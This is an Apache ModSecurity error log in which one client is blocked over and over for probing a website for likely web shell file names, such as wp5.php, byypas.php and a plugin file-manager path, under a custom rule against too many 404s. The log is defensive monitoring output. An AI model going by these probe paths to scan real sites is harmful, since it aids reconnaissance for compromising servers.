[Wed Apr 15 19:18:57.451332 2026] [:error] [pid 31053:tid 31070] [client 172.161.107.89:32434] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad90IRcEkLCmvF0fjDescQAAAI4"]
[Wed Apr 15 19:18:57.829321 2026] [:error] [pid 31053:tid 31060] [client 172.161.107.89:25165] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad90IRcEkLCmvF0fjDesdAAAAIQ"]
[Wed Apr 15 19:18:57.990042 2026] [:error] [pid 31053:tid 31076] [client 172.161.107.89:42933] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad90IRcEkLCmvF0fjDesdgAAAJQ"]
[Wed Apr 15 19:18:58.340441 2026] [:error] [pid 37370:tid 37389] [client 172.161.107.89:25179] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad90Ing-gnM2Ga0cGAAGbQAAARE"]
[Wed Apr 15 19:18:58.506096 2026] [:error] [pid 31053:tid 31069] [client 172.161.107.89:15264] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad90IhcEkLCmvF0fjDesewAAAI0"]
[Wed Apr 15 19:18:58.827134 2026] [:error] [pid 31053:tid 31075] [client 172.161.107.89:5139] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad90IhcEkLCmvF0fjDesfgAAAJM"]
[Wed Apr 15 19:18:59.029071 2026] [:error] [pid 31053:tid 31068] [client 172.161.107.89:25156] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad90IxcEkLCmvF0fjDesgAAAAIw"]
[Wed Apr 15 19:18:59.311527 2026] [:error] [pid 37370:tid 37383] [client 172.161.107.89:7951] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad90I3g-gnM2Ga0cGAAGbgAAAQs"]
[Wed Apr 15 19:18:59.547707 2026] [:error] [pid 37370:tid 37372] [client 172.161.107.89:19947] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad90I3g-gnM2Ga0cGAAGcAAAAQA"]
[Wed Apr 15 19:18:59.853065 2026] [:error] [pid 37370:tid 37390] [client 172.161.107.89:37914] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad90I3g-gnM2Ga0cGAAGcQAAARI"]
[Wed Apr 15 19:19:00.029186 2026] [:error] [pid 37370:tid 37385] [client 172.161.107.89:39265] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad90JHg-gnM2Ga0cGAAGcgAAAQ0"]
[Wed Apr 15 19:19:00.397325 2026] [:error] [pid 37370:tid 37378] [client 172.161.107.89:7785] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad90JHg-gnM2Ga0cGAAGdAAAAQY"]
[Wed Apr 15 19:19:00.620081 2026] [:error] [pid 37370:tid 37396] [client 172.161.107.89:29509] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad90JHg-gnM2Ga0cGAAGdgAAARg"]
[Wed Apr 15 19:19:00.898163 2026] [:error] [pid 37370:tid 37388] [client 172.161.107.89:37923] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad90JHg-gnM2Ga0cGAAGdwAAARA"]
[Wed Apr 15 19:19:01.121613 2026] [:error] [pid 37370:tid 37392] [client 172.161.107.89:9637] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad90JXg-gnM2Ga0cGAAGeQAAARQ"]
[Wed Apr 15 19:19:01.383232 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:39256] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad90JXg-gnM2Ga0cGAAGegAAARc"]
[Wed Apr 15 19:19:01.700973 2026] [:error] [pid 30956:tid 30968] [client 172.161.107.89:5826] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad90JUBGUpjaWntNYq1g5QAAAAg"]
[Wed Apr 15 19:19:01.888319 2026] [:error] [pid 30956:tid 30962] [client 172.161.107.89:7707] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad90JUBGUpjaWntNYq1g5gAAAAI"]
[Wed Apr 15 19:19:02.169493 2026] [:error] [pid 30956:tid 30974] [client 172.161.107.89:65058] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad90JkBGUpjaWntNYq1g5wAAAA4"]
[Wed Apr 15 19:19:02.387795 2026] [:error] [pid 37370:tid 37383] [client 172.161.107.89:7776] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad90Jng-gnM2Ga0cGAAGfwAAAQs"]
[Wed Apr 15 19:19:02.680826 2026] [:error] [pid 37370:tid 37372] [client 172.161.107.89:20999] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad90Jng-gnM2Ga0cGAAGgAAAAQA"]
[Wed Apr 15 19:19:02.893494 2026] [:error] [pid 30956:tid 30975] [client 172.161.107.89:8504] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad90JkBGUpjaWntNYq1g6AAAAA8"]
[Wed Apr 15 19:19:03.169450 2026] [:error] [pid 31053:tid 31073] [client 172.161.107.89:32652] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad90JxcEkLCmvF0fjDesjQAAAJE"]
[Wed Apr 15 19:19:03.379873 2026] [:error] [pid 37370:tid 37380] [client 172.161.107.89:32695] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad90J3g-gnM2Ga0cGAAGgQAAAQg"]
[Wed Apr 15 19:19:03.712767 2026] [:error] [pid 31053:tid 31079] [client 172.161.107.89:25201] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad90JxcEkLCmvF0fjDeskgAAAJc"]
[Wed Apr 15 19:19:03.922388 2026] [:error] [pid 31053:tid 31063] [client 172.161.107.89:21029] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad90JxcEkLCmvF0fjDeslgAAAIc"]
[Wed Apr 15 19:19:04.207375 2026] [:error] [pid 31053:tid 31061] [client 172.161.107.89:47233] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad90KBcEkLCmvF0fjDesmQAAAIU"]
[Wed Apr 15 19:19:04.416656 2026] [:error] [pid 31053:tid 31077] [client 172.161.107.89:19936] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad90KBcEkLCmvF0fjDesmwAAAJU"]
[Wed Apr 15 19:19:04.704508 2026] [:error] [pid 31053:tid 31079] [client 172.161.107.89:30284] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad90KBcEkLCmvF0fjDesngAAAJc"]
[Wed Apr 15 19:19:04.896318 2026] [:error] [pid 30956:tid 30963] [client 172.161.107.89:30261] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad90KEBGUpjaWntNYq1g6gAAAAM"]
[Wed Apr 15 19:19:05.185136 2026] [:error] [pid 37370:tid 37384] [client 172.161.107.89:27863] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad90KXg-gnM2Ga0cGAAGggAAAQw"]
[Wed Apr 15 19:19:05.399246 2026] [:error] [pid 30956:tid 30973] [client 172.161.107.89:37947] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad90KUBGUpjaWntNYq1g7AAAAA0"]
[Wed Apr 15 19:19:05.738400 2026] [:error] [pid 31053:tid 31072] [client 172.161.107.89:32413] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad90KRcEkLCmvF0fjDesowAAAJA"]
[Wed Apr 15 19:19:05.929381 2026] [:error] [pid 37370:tid 37378] [client 172.161.107.89:19930] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a4.php"] [unique_id "ad90KXg-gnM2Ga0cGAAGhQAAAQY"]
[Wed Apr 15 19:19:06.235987 2026] [:error] [pid 37370:tid 37386] [client 172.161.107.89:8549] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad90Kng-gnM2Ga0cGAAGhgAAAQ4"]
[Wed Apr 15 19:19:06.404436 2026] [:error] [pid 30958:tid 31024] [client 172.161.107.89:39245] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad90KseG3wSKTO7NWFGNQQAAAMg"]
[Wed Apr 15 19:19:06.739526 2026] [:error] [pid 31053:tid 31073] [client 172.161.107.89:8458] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad90KhcEkLCmvF0fjDesqQAAAJE"]
[Wed Apr 15 19:19:06.933014 2026] [:error] [pid 31053:tid 31064] [client 172.161.107.89:7801] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad90KhcEkLCmvF0fjDesqgAAAIg"]
[Wed Apr 15 19:19:07.231793 2026] [:error] [pid 31053:tid 31069] [client 172.161.107.89:8465] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad90KxcEkLCmvF0fjDesqwAAAI0"]
[Wed Apr 15 19:19:07.428516 2026] [:error] [pid 31053:tid 31078] [client 172.161.107.89:43638] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad90KxcEkLCmvF0fjDesrAAAAJY"]
[Wed Apr 15 19:19:07.798084 2026] [:error] [pid 37370:tid 37382] [client 172.161.107.89:8509] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad90K3g-gnM2Ga0cGAAGigAAAQo"]
[Wed Apr 15 19:19:07.923075 2026] [:error] [pid 31053:tid 31060] [client 172.161.107.89:37507] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad90KxcEkLCmvF0fjDesrwAAAIQ"]
[Wed Apr 15 19:19:08.309773 2026] [:error] [pid 31053:tid 31080] [client 172.161.107.89:30259] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad90LBcEkLCmvF0fjDessAAAAJg"]
[Wed Apr 15 19:19:08.428508 2026] [:error] [pid 31053:tid 31071] [client 172.161.107.89:37895] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad90LBcEkLCmvF0fjDessgAAAI8"]
[Wed Apr 15 19:19:08.792677 2026] [:error] [pid 30958:tid 31032] [client 172.161.107.89:7780] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad90LMeG3wSKTO7NWFGNQwAAANA"]
[Wed Apr 15 19:19:08.958619 2026] [:error] [pid 31053:tid 31073] [client 172.161.107.89:7988] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad90LBcEkLCmvF0fjDesswAAAJE"]
[Wed Apr 15 19:19:09.272674 2026] [:error] [pid 31053:tid 31077] [client 172.161.107.89:7978] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad90LRcEkLCmvF0fjDestQAAAJU"]
[Wed Apr 15 19:19:09.431081 2026] [:error] [pid 30957:tid 30995] [client 172.161.107.89:38015] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad90LX5gwVEVXHfVSipwygAAAEY"]
[Wed Apr 15 19:19:09.900413 2026] [:error] [pid 31053:tid 31060] [client 172.161.107.89:7772] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad90LRcEkLCmvF0fjDesuwAAAIQ"]
[Wed Apr 15 19:19:09.924398 2026] [:error] [pid 31053:tid 31063] [client 172.161.107.89:37955] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad90LRcEkLCmvF0fjDesvAAAAIc"]
[Wed Apr 15 19:19:10.415691 2026] [:error] [pid 31053:tid 31074] [client 172.161.107.89:16805] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad90LhcEkLCmvF0fjDesvQAAAJI"]
[Wed Apr 15 19:19:10.444289 2026] [:error] [pid 31053:tid 31067] [client 172.161.107.89:37932] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad90LhcEkLCmvF0fjDesvgAAAIs"]
[Wed Apr 15 19:19:11.049692 2026] [:error] [pid 37370:tid 37375] [client 172.161.107.89:21024] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad90L3g-gnM2Ga0cGAAGkAAAAQM"]
[Wed Apr 15 19:19:11.114722 2026] [:error] [pid 37370:tid 37380] [client 172.161.107.89:28250] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad90L3g-gnM2Ga0cGAAGkQAAAQg"]
[Wed Apr 15 19:19:11.635043 2026] [:error] [pid 37370:tid 37396] [client 172.161.107.89:47255] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad90L3g-gnM2Ga0cGAAGlAAAARg"]
[Wed Apr 15 19:19:11.850751 2026] [:error] [pid 30957:tid 31004] [client 172.161.107.89:42931] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad90L35gwVEVXHfVSipwywAAAE8"]
